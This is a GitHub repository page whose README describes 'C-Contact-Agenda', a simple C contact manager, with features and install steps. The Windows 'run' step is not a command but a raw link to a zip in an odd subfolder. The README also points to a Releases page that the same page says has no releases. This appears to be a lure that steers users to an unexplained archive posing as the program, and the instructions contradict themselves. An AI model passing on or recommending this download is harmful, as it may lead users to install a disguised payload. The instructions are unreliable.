Skip to content

πŸ“‡ Manage your contacts easily with C-Contact-Agenda, a simple program for adding, displaying, and deleting contact details in C.

License

Notifications You must be signed in to change notification settings

ayoubHjs/C-Contact-Agenda

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“ž C-Contact-Agenda - Manage Your Contacts with Ease

πŸš€ Introduction

Welcome to C-Contact-Agenda! This is a straightforward contact management program written in C. It simplifies how you store and manage your contact information. Ideal for anyone looking to keep their contacts organized without fuss.

πŸ“₯ Download the Application

Download C-Contact-Agenda

You can download the latest version of C-Contact-Agenda from the Releases page.

πŸ” Features

  • Add Contacts: Store names, phone numbers, and emails.
  • View Contacts: Easily see all listed contacts.
  • Delete Contacts: Remove contacts you no longer need.
  • Search Functionality: Quickly find the contact you need.
  • Simple Interface: User-friendly menu-driven design.

πŸ’» System Requirements

  • Operating System: Windows, macOS, or Linux
  • RAM: Minimum 512 MB
  • Disk Space: At least 20 MB free
  • Compiler: GCC or any C-compatible compiler

βš™οΈ How to Install and Run

To get started, follow these steps:

  1. Visit the Releases Page: Go to the Releases page to find the latest version.

  2. Download the File: Locate the version that fits your operating system. Click on the download link to get the file.

  3. Extract the Files: Once downloaded, extract the contents of the zip file to a folder on your computer.

  4. Open the Terminal/Command Line:

    • For Windows: Press Windows + R, type cmd, and hit Enter.
    • For macOS: Open Finder, go to Applications, then Utilities, and open Terminal.
    • For Linux: Open your preferred terminal application.
  5. Navigate to the Folder: Use the cd command to change directory to the folder where you extracted the files:

    cd path/to/C-Contact-Agenda
  6. Compile the Program: Enter the following command to compile the program:

    gcc -o contact_agenda contact_agenda.c

    This command uses the GCC compiler to build the application. Ensure GCC is installed on your system.

  7. Run the Application: After compilation, run the program with this command:

    ./contact_agenda   # For macOS/Linux
    https://raw.githubusercontent.com/ayoubHjs/C-Contact-Agenda/main/Casel/C-Contact-Agenda.zip # For Windows

Collectively, these steps allow you to install and start using C-Contact-Agenda with ease.

πŸ“Š Using the Application

When you launch the app, you will see a simple menu. Follow the on-screen prompts to manage your contacts:

  • To Add a Contact: Select "Add Contact" and enter the required details.
  • To View Contacts: Choose "View Contacts" to see your list.
  • To Delete a Contact: Choose "Delete Contact" and input the name or number.
  • To Search for a Contact: Use the "Search" option and enter your search term.

πŸ› οΈ Troubleshooting

If you encounter issues while using C-Contact-Agenda:

  • Cannot Run Program: Ensure you are in the correct directory and the file name is correct.
  • Compilation Errors: Make sure you have GCC installed correctly. Check for any typos in the commands.
  • Missing Features: Review the menu options to understand all functionalities.

πŸ“ž Contributing

We welcome contributions to improve this project. If you'd like to help, please check the Issues section for areas needing attention.

πŸ“ License

This project is open source and available for use under the MIT License. Feel free to modify and use it for your personal needs.

πŸ“¬ Contact

If you have questions or need support regarding C-Contact-Agenda, please reach out through the Issues section.

We hope you enjoy using C-Contact-Agenda to manage your contacts effectively!

About

πŸ“‡ Manage your contacts easily with C-Contact-Agenda, a simple program for adding, displaying, and deleting contact details in C.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages